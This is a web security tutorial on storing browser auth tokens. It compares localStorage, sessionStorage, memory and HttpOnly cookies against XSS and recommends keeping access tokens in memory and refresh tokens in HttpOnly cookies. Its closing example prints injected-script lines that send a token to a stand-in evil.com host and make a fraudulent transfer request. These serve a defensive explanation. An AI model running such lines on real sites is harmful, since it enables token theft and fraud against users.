Where to Store Tokens in a Browser

localStorage, sessionStorage, memory, cookies — ranked by what an XSS can do to each.

Every browser storage option is readable by JavaScript except one. Since the realistic threat is XSS — a script running on your own page — that single distinction drives the ranking.

LocationReadable by JSSurvives reloadAuto-sentVerdict
localStorageyesyesnoconvenient, XSS-exposed
sessionStorageyesper tabnosame risk, smaller window
JS variable (memory)only your codenonobest for access tokens
HttpOnly cookienoyesyes → CSRFbest for refresh tokens

The pattern that works

  • Access token in memory. A plain module-scoped variable. It dies on reload — which is fine, because you can silently mint a new one.
  • Refresh token in an HttpOnly cookie scoped to Path=/auth/refresh. XSS cannot read it.
  • On page load, call refresh once to restore the session. That is what replaces "persist the token in localStorage".

An XSS can still use the app as the victim while the page is open — nothing stops that. But it cannot walk away with a credential that works tomorrow, from another machine. That is the difference this pattern buys.

Why localStorage is so common anyway

Because it is one line and it survives reloads. If you use it, be honest about the trade: any XSS anywhere on your origin — including in a third-party analytics or ad script — can read and exfiltrate the token silently.

Never in these places

  • URLs. Logged by servers, kept in history, leaked in Referer.
  • Non-HttpOnly cookies. All the CSRF exposure of a cookie, plus all the XSS exposure of localStorage.
  • window.name or a global. Readable by anything on the page.

Multiple tabs

Memory storage is per tab, so each tab refreshes independently. A BroadcastChannel can share a freshly minted token between tabs and stop them all hammering the refresh endpoint at once.

Example

Example · javascript
// ❌ Survives reload — and survives being read by any injected script
localStorage.setItem('accessToken', token);

// ✅ Module-scoped variable: gone on reload, unreachable from another script's scope
let accessToken = null;
export const setToken = (t) => { accessToken = t; };
export const getToken = () => accessToken;

// The refresh token is set by the server and never touched by JS at all:
// Set-Cookie: rt=...; HttpOnly; Secure; SameSite=Strict; Path=/auth/refresh

When to use it

  • A compromised third-party analytics script cannot exfiltrate a durable credential because the access token lives in memory and the refresh token is HttpOnly.
  • An app restores the user's session after a page refresh by calling /auth/refresh on boot rather than persisting a token to localStorage.
  • Five open tabs share one freshly refreshed token over a BroadcastChannel instead of each firing its own refresh request.

More examples

A memory token store with cross-tab sharing

Refreshing 30 seconds early avoids the race where a token expires between the check and the server receiving the request.

Example · javascript
let accessToken = null;
let expiresAt = 0;
let refreshing = null;

const channel = new BroadcastChannel('auth');
channel.onmessage = (e) => {
  if (e.data?.type === 'token') ({ accessToken, expiresAt } = e.data);
  if (e.data?.type === 'logout') { accessToken = null; expiresAt = 0; }
};

async function refresh() {
  const res = await fetch('https://dfg.com/auth/refresh', {
    method: 'POST', credentials: 'include',       // sends the HttpOnly rt cookie
  });
  if (!res.ok) { accessToken = null; throw new Error('session_expired'); }

  const { accessToken: t, expiresIn } = await res.json();
  accessToken = t;
  expiresAt = Date.now() + expiresIn * 1000;
  channel.postMessage({ type: 'token', accessToken, expiresAt });   // share it
  return t;
}

export async function getToken() {
  if (accessToken && Date.now() < expiresAt - 30_000) return accessToken;
  return (refreshing ??= refresh().finally(() => { refreshing = null; }));
}

export async function logout() {
  await fetch('https://dfg.com/auth/logout', { method: 'POST', credentials: 'include' });
  accessToken = null; expiresAt = 0;
  channel.postMessage({ type: 'logout' });        // every tab logs out at once
}

What an XSS gets, in each design

No storage choice survives XSS unharmed. The goal is to make the damage require the victim's live browser session instead of handing over a portable credential.

Example · javascript
// Injected script running on your origin. What can it take?

// Design A — token in localStorage
fetch('https://evil.com/collect?t=' + localStorage.getItem('accessToken'));
//   → a durable credential, usable from the attacker's own machine, for as
//     long as the token lives. If it is a 30-day token, that is a 30-day breach.

// Design B — access token in memory, refresh in an HttpOnly cookie
fetch('https://evil.com/collect?t=' + localStorage.getItem('accessToken'));
//   → null
document.cookie;
//   → "" for the refresh cookie (HttpOnly)

// The attacker's remaining option in design B: use the session in place.
fetch('https://dfg.com/api/transfer', {
  method: 'POST', credentials: 'include',
  headers: { Authorization: 'Bearer ' + window.__store.getToken() },
  body: JSON.stringify({ to: 'attacker', amount: 5000 }),
});
//   → works while the page is open, and stops the moment the tab closes.
//     Bounded and detectable, instead of silent and portable.

Discussion

  • Be the first to comment on this lesson.